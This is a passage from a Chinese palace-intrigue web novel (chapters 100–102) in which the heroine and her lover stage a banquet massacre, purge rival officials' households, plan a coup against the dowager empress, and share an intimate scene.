他们同舞姬们不同,舞姬们目标明确,直冲皇帝而去。 但是这些死士却是看似无差别攻击,抓住官员也杀,冲上来阻拦的金吾卫也杀了。 众人四窜而逃,只剩下琴音泠泠,愈加转急不休。 只有元韫浓仍然在抚琴。 她从容地拨过琴弦,泛音清越得近乎冷酷。 没人注意原先的《夕阳箫鼓》变成了《十面埋伏》。 琴案旁,一名慌不择路的官员被小满“一不小心”绊倒,正摔在死士的剑上。 鲜血溅上焦尾琴,元韫浓只是微微蹙眉。 刚才一直漠然置之的裴令仪才有了反应,拔剑站了起来。 “护驾。”他平淡道。 孙鹃纨、萧煜、裴九等一众武将这才拎着刀剑站了起来,投身入战局之中,状似不经意之间将惊惶的朝臣们逼向殿角。 元韫浓仍在弹琴,指下的调子不知何时变作了《广陵散》。 吕大人钻到了案几下,官帽滚落,露出花白的发髻。 御史台的官员大喊着护驾扑向惠帝,却压到了惠帝的伤口,惹得惠帝又发出一声惨叫。 太后瘫软在座上,发钗的流苏歪下来,缠住了发丝挂在嘴边,活像条垂死的金蛇。 有官员在连滚带爬地逃窜时,仿佛看见了裴令仪他们在与刺客交战,亦或者护着元韫浓他们的时候,趁机砍了几个官员。 他们都疑心是自己看错了。 裴令仪他们与刺客交战,看起来并没有花费太多的力气。 那些刺客或许是见不敌,立刻就遁入阴影之中逃走了。 裴令仪他们也丝毫没有要追的意思,而是平静地收起了武器。 周围人依然惊魂未定,看着受伤的惠帝和躺了一地的尸体。 满殿死寂中,只有破碎的瓷器琉璃被烛火照出了支离破碎的光影。 太后颤抖着指向琴案时,元韫浓刚好奏完《广陵散》。 她并不是傻子,相反她心狠手辣,能坐到这个位置,操控惠帝如此之久,相当的有手段。 这会她要是还不明白,那才是真的白活了。 《广陵散》又名《聂政刺韩王》,讲的是为父报仇,学琴十年后刺杀君王。 太后惊疑不定地看向元韫浓,怒目圆睁,“是你?!” 最后一个音落下,此曲终了,元韫浓将手覆盖在琴弦上止住余音。 “太后娘娘,朝荣这曲《广陵散》,弹得可还好?”元韫浓微笑。 第100章 巫女之女 元韫浓缓步走向仍在抽搐的惠帝,裙角蹭过血泊,在地上拖出蜿蜒如蛇的血痕。 “看来是白统领看护不力,叫陛下受惊了。”她微笑道。 白统领和剩下的那些金吾卫脸色铁青。 “好在……”元韫浓的余光扫过殿内森冷的枪戟,这些都是自己人了,“岐国公府和清河王府,永远都是陛下的忠臣良将。” 这会才有人注意到受了伤一直在流血的惠帝。 惠帝身边的宦官慌忙尖声喊道:“太医!快传太医!” 底下不知是谁率先哀嚎一声:“陛下——” 有人做头,登时群臣宫人跪了一地,或真或假地哭嚎起来。 内侍们将惠帝抬进殿中,太医拎着药箱疾走跟上,为惠帝医治。 太后听着这接连不断的哭声,怒上心头,横眉竖眼道:“哭什么哭!陛下还没驾崩呢!” 裴令仪道:“没听到太后娘娘说什么吗?陛下还没死呢,别在这里哭丧。” 太后阴沉着脸看向他,“清河王还真是好手段。” 元韫浓笑了一下,“还都呆着做什么?没瞧见太后娘娘被吓坏了吗?还不快送太后回慈宁宫?” 旁边的侍从们看见如此的场景,不敢有违,只得道:“是。” 见那些宫人围了上来要来搀扶自己,太后怒极。 但她心里也清楚,这是元韫浓和裴令仪设下的局,如今她做什么反抗只会让事情更糟。 毕竟如今的场面已经被裴令仪和元韫浓把控,刚刚死的那些官员都是支持她的。 裴令仪他们是早早做下准备了的,但她没有。 就算跟这两人迟早拼个死活,那也不是现在。 “让开!哀家自己会走!”太后甩开宫人的手,拂袖离去。 元韫浓没有管她,反正他们今日的目的也不是为了这个。 他们要的是借机削弱太后党势力,顺便彻底铲除五皇子势力,以防他们狗急跳墙跟太后他们联合在一起。 至于惠帝和太后,除了泄愤以外,是为了不让他们插手此事。 元韫浓倒是想直接把他们全毒死算了,但是考虑到保皇派和太后党的反扑,还是作罢了。 “诸位也瞧见了,今日寿宴遭逢如此惊变,刺客尚未捉拿,还请诸位回府稍候。待我查明真相,届时,会派人缉拿真凶。”元韫浓道。 众人面面相觑。 今日之事实在是突兀又惊险,如今他们一口气还没平下来呢。 裴令仪似笑非笑,“既然诸位没有异议,还请回吧,还是需要有人相送?” 众人连连摆手,行礼告退。 闲杂人等悉数退场。 元韫浓对目露担忧的亲友们安抚性微微一笑。 到最后留下的,都是还有任务的人。 “去抓人吧。”元韫浓轻声说。 今天这么大费周章一出,总得叫这事情有个结果。 张开华从一开始元韫浓说稍后来抓人时,就有了不祥的预感。 他多年以来浸润官场的经验告诉他,裴令仪和元韫浓这一回重点是冲着他们来的。 他一回府就尽快做好了准备,让几个不相干的小辈赶快收拾包袱,准备连夜坐船逃到别的地方去。 但是他还没有做好准备,身边的仆从就面如土色地来禀报了。 “大人……来人了……”仆从说道。 张开华叹了口气,到底是在劫难逃了。 他拿出了愿赌服输的姿态,掸了掸衣袖,准备体面地去见裴令仪和元韫浓。 但他来到堂前,看见的却不是元韫浓或者裴令仪中的任何一人。 来的是元蕴英和一群岐国公府的亲兵部曲。 然而元蕴英站在后方,最前面的是一群披坚执锐、甲胄俱全的女子。 张开华见状,不禁愣了愣,又抚须笑道:“怎么了?元氏居然已经没落到了这种程度吗?不仅要女子领兵,连冲锋陷阵的前锋都是群女子。” “张开华,老东西。”元蕴英嗤笑一声,“睁大你的狗眼看清楚了。” 她道:“正是你眼里的这群女E子,将会取了你的狗命。” “大言不惭。”张开华冷笑,“你有何理由胆敢擅闯官员宅邸?你有圣旨吗?或者说是口谕?你有吗?” “何须惠帝和太后来下旨?我这可是替天行道,铲除奸佞而已。到时候他们见了你的首级,可还得夸我一句忠良之后呢。”元蕴英满不在乎道。 她也不欲跟张开华多话,抬手摆了摆,“姑娘们,要报仇的报仇,要动手的动手吧。” 前边的那群姑娘一拥而上,尤其是其中几个,相当利落果断。 其余部曲也冲了上去,涌向了其余的张家族人,根据网罗的罪状挨个抓人。 但凡是不安分的,犯过贪污受贿、欺压百姓等等罪的,立即二话不说,不是砍了就是摁着拿下。 张开华即使早有准备,也没想过来的会是元蕴英,更没想过他们不管三七二十一,上来就是喊打喊杀。 驻足于他面前的,是一个还很年轻的女子。 “张开华。”她说道,“我来取你性命了。” 张开华根本不认识她,但却为她眼里惊人的恨意感到骇然。 张开华面对那一张陌生又年轻的面孔,问道:“你是谁?” “你不需要知道我的姓名。”女子说道,“你只需要知道,多年之前因为你猎巫之祸而失去的那些女子,那些被冠以巫女之名的女子。” 张开华瞳孔骤缩。 女子持剑以对,“现在,她的女儿来复仇了。” 张开华已经不记得在他那一次巫蛊之祸中丧命的女子有多少了,但他会记得这一回朝他涌来的女子有多少,他会记得落在他身上的刀有几把。 最后,那个开头的女子将剑压在张开华的脖子上。 他挣扎着,从喉咙里发出“嚯嚯”的声音,血也不断地涌了出来。 女子轻声说道:“记住,我是巫女的女儿。” 剑落下,血溅三尺。 遭殃的可不止是张家,被找上门的还有不少有明显罪证的五皇子党羽和太后党羽。 大理寺少卿家的大门被轰然破开时,他还在安眠之中。 他被猛地惊醒,还没来得及下床去穿鞋,就看到下人跌跌撞撞地冲了进来。 “不好了不好了!大人!清河王、清河王把府上围了!”下人的靴上沾着新鲜的血迹,连牙都在磕磕绊绊打哆嗦。 “什么?!”大理寺少卿不可置信,连鞋都没穿整齐,深一脚浅一脚地跑了出去。 元韫浓随着部曲破门而入。 立即有人刚想趁乱逃,就被一刀砍掉了脑袋。 孙鹃纨本来该去别家的,但是看元韫浓来了梁家,便也乐颠颠地跟过来了。 在元韫浓后一步迈入门槛,她又殷勤地指挥人搬来了座椅摆在府门口,自己站在了元韫浓身边。 部曲们将大理寺少卿府上下围得水泄不通,尤其是府门这里,一排人手执刀剑,表情冷峻。 元韫浓悠然落座,瑰丽的长裙裙摆旋身绽开,犹如花绽,压下夜色里的所有血气浓重。 “急什么啊?”她轻笑了一声。 元韫浓语调柔软:“放心,黄泉路上,一个都少不了。” 大理寺少卿慌忙跑到门前时,元韫浓正斜靠在太师椅上,素手捧着一盏清茶。 她衣摆上绽开的红梅像是血一样,月光描摹着她瓷白的侧脸,鸦羽般的睫毛低垂,仿佛只是来赴一场风雅夜宴。 她身后,部曲铁甲森然,火把将夜色烧得通红。 “你、你!你居然敢无诏私闯官员府邸,还杀了那么多官眷和官员,天子脚下,皇城之内!你简直无法无天!”大理寺少卿整个人都哆嗦了起来。 也不知道是气的,还是怕的。 他抬头,正对上元韫浓淡漠的眸光,一下子泄了气,不敢言语。 “你难道还想杀了我吗?我可是大理寺少卿!”他尖声叫了起来。 茶盖轻叩,清脆一声响。 元韫浓唇角噙着丝若有似无的笑,“梁大人,你抖什么?” 她指尖轻点茶盏,“我又没说要杀你。” 她又皱了一下眉,嘟囔着抱怨道:“哎呀,这血腥味怎么这么重呀?” 孙鹃纨喜欢元韫浓身上这股天真的残忍劲儿,忙笑着道:“我这就喊人来焚香。” 香炉端上来,孙鹃纨亲自执银匙,将香粉细细填入狻猊炉。 幽幽的熏香盖了一些血腥味,这画面与如今这场面是格格不入。 元韫浓眉目舒展开来一些。 青烟缭绕间,刚才就在四处搜查有没有漏网之鱼和确凿证据的部曲,从书房里拎着个锦盒走出。 盒盖掀开,满满一叠密函哗啦啦倒在脸色惨白的大理寺少卿面前。 里面有密信赫然是惠帝的笔迹,写着元氏必除。 里面也有太后的字迹,讲的是投诚效忠。 更有甚者,还有和北凉人的通敌书信。 孙鹃纨都看得啧啧称奇:“梁大人,你精力还挺足的,有这么多个主子,还要挨个侍奉过来,为他们谋利,你都不嫌累得慌吗?” 大理寺少卿牙齿打战,还是说不出个结果来。 元韫浓道:“梁大人还真是大忙人啊,行程不知道是如此的繁忙呢。“ 她吹散茶沫,头也不抬,“梁大人来说说,叛国贼这消息,若是透给了太后,她会不会抢先灭口?” “这是何意?朝荣郡主不要胡说。”大理寺少卿强装镇定,喉结却不受控地滚动。 “梁大人。”元韫浓莞尔,“你养在郊外的私生子也不小了,看来平日里梁大人很是宠爱啊,方才还哭着问我知不知道他爹是谁,是要找爹呢。” “啊!!!”元韫浓话音刚落,院中便传来一道凄厉惨叫。 裴令仪拎着个血人走出来,随手扔在台阶下。 那人是大理寺少卿藏在外头的私生子。 “我儿啊!”大理寺少卿见了自己孩子的惨样,大叫一声就要扑上去。 孙鹃纨一亮刀,就让他生生止住了,站在原地哭丧着脸。 大理寺少卿嚎叫道:“朝荣郡主,你这是作甚呐?哎呦喂——下官冤枉啊,还请清河王高抬贵手,饶了我儿一命啊!” 孙鹃纨觉得好笑,“你这老头,我看你是不见棺材不掉泪了。” 那个血人仿佛也缓过了劲儿来,不免悲从中来,哭嚎起来,直喊着叫大理寺少卿救救他。 “聒噪,你爹如今是泥菩萨过江,自身难保了,还指望你爹呢?”孙鹃纨看不下去这些人的模样。 外室子还要再嚎,却被裴令仪冰冷的剑锋抵住咽喉。 他一个哆嗦,抬眼只见裴令仪半张脸浸在阴影里,剑尖慢条斯理地在他颈间划出血线。 于是他学机灵了,闭上了嘴巴,一点声音都不发出来了。 元韫浓用手撑着脑袋,瞥了一眼他,“我记得,若是真排下来,你在家中好像排行第九吧。” 外室子一愣,怯怯地点了点头。 “这九是九族的九吗?”元韫浓笑了起来。 外室子浑身僵硬,哪里还敢再说什么。 元韫浓脚下青石阶染了血,蜿蜒如溪。 她抿了口茶,“我也不跟着你们废话了,说实话,梁大人,我对你很失望,你们大理寺少卿府太无趣了。” 唯一不无趣的,或许就是大理寺少卿官位不是最高,家族也不是最显赫,但却四处挑码头,认了那么多个主子。 不择手段的程度,真是令人瞠目结舌。 她背后剑戟森森,刀光映着元韫浓嫣红的唇,像抹未干的血。 她幽幽道:“清都,你来处理吧。” 裴令仪正因为旁边摆了香炉压血腥味的细致,而给孙鹃纨递了一个满意的眼神,赞同孙鹃纨对元韫浓的体贴入微。 这会听了说话,他便半跪在元韫浓身边,半靠着元韫浓坐着的太师椅扶手。 他笑道:“阿姊放心,我会处理好的。” 元韫浓骄矜地嗯了一声,起身朝外走去。 孙鹃纨跟上了她。 走出府门,外头侯着一个梁家的嫡系子弟。 多亏了他向元韫浓出卖了自己家里头的龌龊事儿,还有大理寺少卿做的事情,元韫浓才能那么快就搜出来。 他见元韫浓出来,谄媚地迎了上去,“郡主,日后小的便跟着郡主,为郡主做牛做马了。” 元韫浓却微笑:“你连自己的家族都能背叛,叫我怎么相信你日后会一心一意忠于我呀?” 无视那人错愕的表情,元韫浓轻声道:“杀了他。” 孙鹃纨上前一步,拦在了元韫浓和那人中间。 元韫浓一面向前走去,一面幽幽叹息道:“不忠之人,怎可再用?” 第101章 好好活着 党羽接二连三被重创乃至拔除,可能联合的五皇子党派更是被杀到再也不成气候了。 五皇子党派的主心骨张家已经不行了,张贵妃被杀,张开华也被杀,嫡系子弟杀的杀,抓的抓。 太后陷入了前所未有的焦灼,她深刻意识到了裴令仪和元韫浓的威胁。 先前她听那些人说起裴令仪的气焰嚣张,她虽起了警觉,但也没多上心。 之前那么一个摇尾乞怜求生的孽障,连讨一口饭吃都卑微至此,能起什么风浪? 再怎么样,也只是一个年少轻狂的新贵罢了。 谁能料到,丧家之犬,如今竟也成了他们的一块心病。 丞相怒容未消,皱着眉道:“现在我们该如何是好?” “我们齐氏坐了那么久的高位,临老了还得看别人脸色了?”太后脸色阴沉,“若是此时忍了下来,日后可便更不好过了。” “娘娘的意思是……”丞相犹疑道。 太后道:“就算是我们伏低做小,他们也不会放过我们的。老清河王夫妇和惠贞全死于我们之手,这些年我们没少磋磨裴令仪,为难元氏,暗中下的手更是不计其数。既然如此,便一不做,二不休了。” 丞相明白了太后的意思,“既如此,我们便集齐军队,跟他们拼个你死我活。” “成王败寇,我们手里有东营军、禁军,徐氏前不久抛来橄榄枝,他们先前得罪狠了元韫浓和裴令仪,还想暗害他们,张家已倒,想要活命如今只能投入我们麾下。”太后半眯起眼睛。 丞相点了点头,“裴令仪他们手里,是南营军和裴令仪自己的兵。孙鹃纨虽投入裴令仪麾下,但她和她爹关系紧张,西营军又素来不参与这种事。” 丞相顿了一下,“但西营军先前是裴雍留下的将士,而且孙鹃纨是孙统领的独女啊。” “虽可留有戒备,但不必过分挂怀。”太后说道,“他们孙家都刷了几代了,哪里还有那么深的裴雍情怀?孙鹃纨和孙统领的关系你不是不知道,再说了,我们召徐氏的北营军来,北州无人守,我不信他们孙家还敢退。若是西营军再退,就由着北凉那群蛮子打进来吧。” “娘娘言之有理。”丞相放下了心。 “如今,我们手上已有东、北营,还有禁军,再加上齐、白、徐三家部曲,裴令仪他们只有南营和那群由着叛军转来素质参差不齐的裴军,还有两家部曲。”太后沉吟。 丞相再次颔首,“是,如今看来,是我们胜算大。” 太后道:“既如此,又何必仰人鼻息?” 丞相说:“京华世家之中,我齐氏本就比元氏威望更大,立足更久。元氏不过是胜在一个惠贞长公主是陛下胞姐,岐国公又军功显赫,劳苦功高罢了。论起朝中的支持,也是我齐氏更多,底蕴更深。” 太后同意:“确是如此。” “兵力悬殊至此,若是这还是输了,就是天命如此了。”她沉声道。 与此同时,裴令仪和元韫浓也在紧锣密鼓地筹备。 北营军向京华行军的动向送到案上,元韫浓脸色阴沉。 “他们还真是不管不顾了,撤走北营军,是想要北凉打进来,叫北州沦陷吗?”元韫浓冷笑。 裴令仪微微蹙眉,“若西营军再撤,后面就是锦靖两州了。” “叫西营军原地待命吧,分出一半前去北州镇守。”元韫浓冷声道,“他们不管不顾,我们总不能将北州西洲拱手让人。” 裴令仪的睫毛颤了一下,“既如此,这回宫变,阿姊还是不要参与了。” 元韫浓看向他,“你这是什么意思?” “若无西营军,我并无十全把握。我可以去拼,去赌,但万一有个不测,我得保住阿姊。”裴令仪说。 元韫浓被气笑了,“前世也不见得你这样杞人忧天,难道前世你的胜算比这还大?” 裴令仪低眸笑了一声:“前世我孤家寡人,不过是残命一条。胜了入主圣宸宫,败了也不过是一条贱命。有什么可怕的?” 他抬眼认真地看向元韫浓,“但今生不一样,我有阿姊了。” 所以有时候他才会后悔,他不应该那么早就暴露自己的,他应该瞒得再好一些,叫元韫浓晚点发现他也是重生的。 他就该处理好一切,没有后顾之忧了,才靠近元韫浓,叫元韫浓高枕无虞。 前世他只有五成的胜算,但他敢去赌这五成的可能。 但今生不一样了,即使没有西营军,他也有七成胜算,但他却会感到怯懦。 果然,情爱叫人怯懦不能。 他道:“等到起兵时候,我先送阿姊去西洲的别庄。” “不许自己去冒险。”元韫浓捧住裴令仪的脸,盯着他的眼睛,“我要亲眼看到仇敌败落,我也要亲眼看到你洗净屈辱,坐上龙椅的那一刻。” 裴令仪还凝着水珠,漆黑的瞳仁浸在水光里,像深潭表面浮着层破碎的月光。 他像是要哭了一样,轻声应了一声:“嗯。” “行了,哭什么哭?”元韫浓哭笑不得,点了他一下,“像什么样子?” 裴令仪又扬起唇角,“今晚阿姊也同我去近水楼台吃好不好?” “你倒是往近水楼台跑得勤,朝廷给你的那点俸禄,全投进近水楼台里了吧?要不是那些铺子和商队在底下,我看你还如何支撑得起近水楼台那价钱。”元韫浓道。 裴令仪顿了顿,“不费钱的。” 元韫浓看出他神色有异,半眯起眼睛,“为什么?” “头回从北州得胜回朝之后,我便从店家手里把近水楼台买下来了。”裴令仪的声音越来越低,“我想着是阿姊喜欢近水楼台的菜……” 元韫浓手上就拧过了他的耳朵,“那你不说?” 裴令仪吃痛下,忙整个人都凑了过去,“阿姊还是饶了我吧,实在是事情太多忙忘记了。” “胡说,你再诓我?”元韫浓下手用力了几分,指尖故意在他发红的耳尖碾了碾。 裴令仪僵直着脊背,喉结滚动半天憋不出一句完整的话。 元韫浓指尖柔软又微凉,裴令仪被揪住的耳朵火烧似的发烫,连带着后颈都泛起薄红。 “那……那是因为,想要阿姊陪我多去几回,若是阿姊知道了,必定就要沉迷于看账本收钱去了。”裴令仪试图抬手去够元韫浓作乱的手指,却被她灵巧地躲开。 “阿姊就饶了我吧,是我错了。”裴令仪可怜道,“近水楼台本就是我打算在事成之后送给阿姊的礼物,阿姊……” 话音未落,元韫浓就狠狠在他腰上掐了一把。 裴令仪下意识往旁边一缩,元韫浓终于松开手。 元韫浓歪着头看他揉着耳朵的模样,忍不住笑:“行了,你下次若是还敢瞒着我,我要你好看。” “我是真知错了。”裴令仪轻声道。 他注视着元韫浓,捧着她的侧脸,越凑越近,鼻息交缠。 元韫浓垂下眼睛,看了一眼裴令仪的嘴唇,裴令仪便亲了上来。 温热的呼吸扫过泛红的耳垂,元韫浓仰头望去,裴令仪眼底翻涌的情潮几乎要将她溺毙。 裴令仪喉间干涩,带着几分沙哑:“阿姊……” “做什么呢?青天白日。”元韫浓的指尖抵住他的嘴唇,“你又不是头一回了,怎么还跟个才碰到荤腥的狼崽子似的?” 裴令仪舔舐元韫浓的手指,委屈道:“过了今日还不知道得忙成什么样呢,再过段日子发兵逼宫,更是生死不知了。” 元韫浓似嗔似怨般斜睨他一眼,“你装什么委屈和可怜呢?” 裴令仪俯下身,“我是真心的,既然不知道是生是死,还不如求着这一瞬的欢愉呢。” “那句话怎么说来着?牡丹花下死,做鬼也风流。”呢喃声里,他的吻沿着她颈侧一路蜿蜒,引得她轻颤。 元韫浓捏住他的脸,“你听不得我说生啊死啊的,自己倒是说得毫无忌惮。” 裴令仪笑了笑,将元韫浓抱上了桌案。 “你要是起兵死了,我就嫁给沈川去,你在黄泉路上多等我一会。”元韫浓在裴令仪耳畔说道。 “阿姊!”裴令仪猛地抬起了头,掐着元韫浓腰的手重了几分。 “知道怕了?”元韫浓笑着用指尖戳了戳他的胸膛,“那你希望我怎么做?抹了脖子跟你一块去?学虞姬?” 裴令仪将脸埋进元韫浓的颈窝,闷声说道:“那阿姊还是去嫁给沈子谦吧,不要在这会说什么生啊死啊的了。” 元韫浓捏着他的耳垂,让他抬起头来。 “你既然怕死,那便好好活着。”元韫浓认真地注视着裴令仪道。 她的口吻残忍又柔和:“你若是死了,我不会像虞姬,我是要另谋出路的。慕湖舟也好,沈川也好,我顶多为你掉几滴眼泪,但不会为你停下。清都,你是知道我的。” 裴令仪抬眼注视着元韫浓漂亮的面孔,淡极始知花更艳。 他轻轻笑了起来,目光柔软,“嗯,我知道。” 他知道元韫浓的本性,但他不会苟活。 调转来,元韫浓是霸王,他才是虞姬。 “怕了吗?”元韫浓问。 “怕了。”裴令仪点头,“怕死了。” “既然怕了,那就好好活着。”元韫浓颔首,低声道,“别让我真走到那一步。” “好。”裴令仪轻轻地应了一声,再次吻上了元韫浓。 他的吻炽热而缠绵,手掌缓缓游移,所到之处皆是燎原的星火。 元韫浓不知何时环住了他的脖颈,指尖无意识地揪着他后背的肌肤,换来他更深的亲吻与拥抱。 孙鹃纨和萧煜来禀报的时候,内室正值火热。 在来的路上,孙鹃纨因为军务上的事情跟萧煜拌了两句嘴,还没注意到这点细节。 两个人一板一眼地汇报。 只是里边没动静。 在萧煜汇报的时候,孙鹃纨听出旁边人语速有些急,疑惑地抬起头望向门扉。 透过雕花窗棂,在交叠的身影上投下斑驳碎影,交织成一幅旖旎画卷。 里面传来压抑的低喘。 孙鹃纨愣住了。 里头的裴令仪在跟元韫浓咬耳朵,“阿姊又何必忍得那么辛苦?” “你……住嘴……”元韫浓咬着牙,哆嗦道。 什么羞耻早早被丢弃了,裴令仪这时候的恶劣简直让她恨不得掐死他。 裴令仪重重揉了一下,元韫浓在他背上留了几道抓痕。 外头萧煜的声音停了下来。 孙鹃纨讪笑了一声,看了一眼整个人都红透了的萧煜。 “主子们既然有事要忙,那末将几个稍后再来禀报。”她火急火燎地拽过萧煜就逃。 帐幔低垂,也不知道什么时候跌进了床榻里,榻上锦被凌乱。 “阿姊,看着我。”裴令仪一面喘息,一面喊元韫浓。 四目相对的刹那,天地都开始旋转,所有的理智都在情欲的浪潮中破碎。 大多时候元韫浓都神志不清,荒唐混杂着湿润绵长的力,拖拽着她下沉。 裴令仪一直都没有停下来。 不知过了多久,裴令仪终于放缓了动作。 他将浑身发软的元韫浓搂进怀里,唇瓣轻轻落在她汗湿的额头上:“辛苦阿姊了。” 元韫浓气得想挠他,但是半点力气都提不起来。 裴令仪抱着元韫浓去清洗,元韫浓见裴令仪跟着自己一块进了浴桶,顿时警觉了起来。 就上回,裴令仪明明说结束了,但是一洗起来又闹了半宿,水都浑了。 见元韫浓警惕地往后缩,裴令仪忍俊不禁。 他伸臂将元韫浓捞回来,“阿姊怎么这么躲我?我在阿姊眼里难不成是什么洪水猛兽吗?” “不是洪水猛兽,也是豺狼虎豹。”元韫浓冷笑,“你这样不知节制,仔细一会伤了身。” “阿姊是在关心我了。”裴令仪相当擅长顺杆向上爬,亲昵地蹭了蹭元韫浓。 元韫浓对这人故意听不懂人话这点,已经木然了。 她推开裴令仪的脑袋,“你起开。” “阿姊这会有点力气了,但还是累着了,还是我来帮阿姊吧。”裴令仪笑着扶住元韫浓。 他亲吻元韫浓湿润的鬓角,道:“我会准备好的,即使不能让阿姊当上皇后,也不会连累阿姊。” 第102章 谋反 裴令仪没想让元韫浓掺和进来,他不想元韫浓有任何风险。 但是元韫浓不愿意去西洲,于是裴令仪就额外派了人保护她。 他甚至在部署的前一夜,再一次同元家的几人说了。 “太后不顾边疆防守,徐氏自己也不管不顾。因而此番西营军无法进京,只能在西洲、北州守候。”裴令仪道,“没有西营军,凭借裴军和南营军,应对北营军、东营军和禁军,是我们势弱。” 元蕴英听得眉心直跳,“我看太后那老不死的也是真疯了,居然把全部的北营军都调回来。” “她估计是先前万寿宴上被刺激狠了,才这么不管不顾。”元云和道。 元彻回皱眉,“那颜律已在北凉称帝,如今大好机会,他不会放过的。” “所以我们要快了,尽快拿下京华,改称国号,才好与之会战。”岐国公沉重道。 元蕴英有些意外,“我还以为父亲会坚持让太子称帝呢,或是先去应付北凉。” “为父是那么迂腐的人吗?”岐国公无奈,他沉默片刻,还是叹了口气,“太子其实是个好孩子,只是偏偏是皇后的孩子,又少了些狠心。” 他正色,“至于北凉,攘外必先安内,如今叫南营军还如何信得过太后他们?当初他们就能截粮道,连粮草都不愿意给,若是如今我们先去应战北凉,不死在沙场上,也会死在回京路上。” 正是这么个理儿。 众人点头。 元彻回看向裴令仪,“你有几成把握?” “……七成。”裴令仪实话道。 “够了。”元云和点头,“五成足矣,七成算稳的了。” 古往今来,谋逆一事,总没有十成十把握的。 元蕴英赞同:“我们人少自有人少的打法,论起精良,当属我们两军,远胜于他们。” “万寿宴上杀了那么多,总不见得没有半分效果。”元彻回道。 裴令仪低眸,“可若真是那三成,阿姊该怎么办呢?” 一时间陷入了沉默。 岐国公道:“起兵之日还有段时日,送应怜去西洲,云和,或者你现在就带你妹妹回白云观。” “阿姊不愿意走。”裴令仪道。 “她不高兴走你就不送她走?她年纪小耍脾气不懂事,你也不懂吗?”元彻回怒问道。 说完他一愣,发觉裴令仪还比元韫浓小几月。 裴令仪说:“我不能强改她的意愿,所以我会提前备好车马,派人去保护她。若是胜了,她可以进宫目睹仇敌之死,若是败了,便立刻离京。” 元蕴英拧眉,“你们这简直是在胡闹。” 反倒是岐国公叹气:“应怜从小性子就犟,打定主意的事情是不会改的。我们能保证的,只有兵败之时她能够活命。要是赢不了,太后他们也不会留应怜性命的。” “是,正是如此,我才想问的是……”裴令仪点了一下头。 众人看向他,他抬起头,“诸位现在还可以选更稳的路,直接带阿姊走,待我功成之后再回来。若是我兵败如山倒,也同你们无关。” “裴清都,你这是什么意思?看不起我们元氏吗?”元彻回怒道。 昨天夜里他还又梦见元韫浓和裴令仪的悲惨结局,这回的梦里更惨。 裴令仪和太后党胜负难分,最后两败俱伤。 太后党抓了元韫浓威胁裴令仪退兵,却出尔反尔,裴令仪退兵至一半就见城墙之上,悬挂起元韫浓的头颅。 裴令仪当场呕血,这场旷日持久的战争彻底上升到了巅峰。 到最后太后党彻底覆灭,裴令仪也重伤不起,直接抱着元韫浓的牌位抹了脖子相随在后。 因为这个梦,元彻回惴惴不安了一上午。 结果到了晚间裴令仪就来这么一句。 “我并无此意,只是不想牵连元氏。”裴令仪语气还算得上是平淡,“毕竟这是我自己的事。” 元云和气道:“你当我们拿那么多兵和钱出来是跟你玩啊?我们不助你这一臂之力,难不成他们就会放过我们了吗?” 元蕴英啧了一声:“你小子就死心吧,这从龙之功,我们元家是拿定了的。” 岐国公也是点头称是,玩笑道:“五郎这时候便不厚道了,泼天的富贵不让岐国公府接,来日还能有什么指望你?” 裴令仪默然不语许久,最终轻叹一声。 他起身向四人作揖,“令仪谢过岐国公府。” 事情也都商议得差不多了,几人各自回房歇息去了。 毕竟事情还多的是,明日还要很多事要做。 只是裴令仪走出门,发现元彻回就抱臂靠在一边的廊柱上,似乎是等着他。 裴令仪停下脚步,“世子可是有什么事吗?有事相商?” 元彻回嗤笑一声:“叫什么世子?” “功成之后,世子仍是世子。”裴令仪道,“国公会成新朝的第一位异姓王。” “还没事成呢,就想着贿赂我了?”元彻回瞥了他一眼。 沉默片刻,他突然道:“事成之后,不必再如此叫我,就按名分来叫吧。” 裴令仪听得一愣。 元彻回撇过脸,“但也得礼成之后。” 毕竟那一个个梦里,只要裴令仪跟元韫浓完婚之后,裴令仪改口得都相当顺口,一口一个兄长。 做了太多个梦,他竟然也诡异地听明白了。 因为梦境里像是一样过了一生,很多次元韫浓的早逝,导致他不得不独自一人带着元韫浓的嘱托延续元氏的荣光,然后再看着裴令仪以不是殉情就是自毁的方式结尾。 也正是因为如此,他才对裴令仪情感复杂。 从一开始的厌恶,到了如今竟然也有了一丝微妙的认同。 如果无数次结局里,裴令仪注定和元韫浓纠缠不清,那这一次会有好结果吗? 元彻回想着,难免轻叹一声。 “……兄长。”裴令仪喊了一声。 元彻回一个激灵,莫名恶寒,“算了算了,你还是礼成之后再那么喊吧。” 裴令仪笑了一声:“兄长,阿姊眼里,兄长是最值得托付的。待到成婚那里,还得兄长背着阿姊出门送嫁呢。” 元彻回默了默,问:“你真觉得把应怜留下来是好事吗?即便是赢了,应怜留在京中,也可能会被他们抓去当场诱饵或是人质。即使是再多的人守着她,我也担心百密一疏……” 因为梦里就是那样的,即使是那么严防死守了,还是百密一疏。 而他的妹妹就因为那么点微末的可能而丧命。 裴令仪垂下眼睫,“所以我备好的车马,到时候就在起兵时候的队伍正中。” 元彻回愣了愣,这样如果兵败,元韫浓的危险不是更大了吗? “我赌那七成的可能,如果偏偏是那三成,我不会拖累阿姊。”裴令仪笑了笑。 他来做虞姬自刎,叫元韫浓去过她的江东。 元韫浓不是楚霸王,她会活下去的。 “罢了,你们的心思我也搞不懂。”元彻回回想起那一个个整得他心神不宁的梦,闭了闭眼。 还是无法告诉他们,这样荒诞不经的梦。 他转头看向微微泛白的天际。 他能做到的,只有拼尽全力。 起兵前夜,竟是一夜难眠。 元韫浓注意到身后的裴令仪一直没睡,便道:“再怎么样,都还是睡一会吧。” “阿姊……”裴令仪的手臂揽到了她的腰间。 她也搭上了裴令仪在她腰间的手臂,应了一声:“嗯。” 裴令仪问:“阿姊怎么还不睡?” “跟你一样。”元韫浓弯了弯唇,“想到明天就要谋反了,睡不着。” 裴令仪笑了一声:“阿姊净说这些哄我玩呢?” 元韫浓转过身,面对裴令仪,“我跟你不一样,我是头一回,你都一回生,二回熟了,还怕什么?” “谁说第二回就不担心了?这关乎那么多人身家性命呢,阿姊就只会取笑我。”裴令仪故作委屈。 “你少装。”元韫浓抬手点了一下他下巴,“你要真是怕成这样了,哪还想得出什么谋反的事情来?” 裴令仪笑着去亲元韫浓额头,“那还不是太后和惠帝不做人?” “这倒是了。”元韫浓赞同。 裴令仪想了想,郑重道:“明日阿姊进了马车,若非有人来请,无论是听到了什么,还是发生了什么,都万不可以下车。” 车马都是精心配过的,尤其是马车,他叫工匠按照战车来造的,刀剑不入。 只要元韫浓不下车,没有兵败,就不会出事。 若是兵败了,即刻送元韫浓走,也得避免元韫浓半道下车被截杀。 